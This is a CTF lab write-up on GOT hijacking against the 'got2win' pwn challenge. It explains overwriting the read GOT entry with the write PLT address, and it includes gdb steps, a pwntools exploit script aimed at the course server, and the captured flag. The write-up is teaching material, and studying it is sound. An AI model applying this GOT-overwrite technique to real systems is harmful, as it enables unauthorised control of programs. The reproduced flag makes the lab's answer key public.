Simple PWN - 0x06(GOT hijacking/Lab - got2win)
tags: CTF PWN eductf
challenge: nc edu-ctf.zoolab.org 10004
GOT Background
Lecture Vid. - Pwn week1 NTUSTISC - Pwn Basic 2 [2019.03.19]
Original Code
1 |
|
- The program read the flag first at line
13~16 - At line
19~22, it allow user input an address and its value - At line
25, you may think it’s weird that it usestdoutasreadfunction’s parameter. - In addition, it doesn’t have buffer overflow, so that we can not use the technique before to get flag.
- Thus, our perspective is we can overlap the `read GOT` by `write plt`, so that it can execute write function:
int nr=write(1, flag, 0x30);
Exploit
- First, we should find the address of
read GOTandwrite plt1
2
3
4gdb chal b *main() ni # Until write function si
- Then we wanna know
read GOTaddress
- My exploit is:
1
2
3
4
5
6
7
8
9
10
11
12
13
14from pwn import * context.arch = 'amd64' r=remote('edu-ctf.zoolab.org', 10004) context.terminal = ['tmux', 'splitw', '-h'] read_got = 0x404038 write_plt = 0x4010c0 r.sendlineafter('Overwrite addr: ', str(read_got)) r.sendafter('Overwrite 8 bytes value: ', p64(write_plt)) r.interactive()Then, we can use
readfunction aswritefunction to get flag `FLAG{apple_1f3870be274f6c49b3e31a0c6728957f}`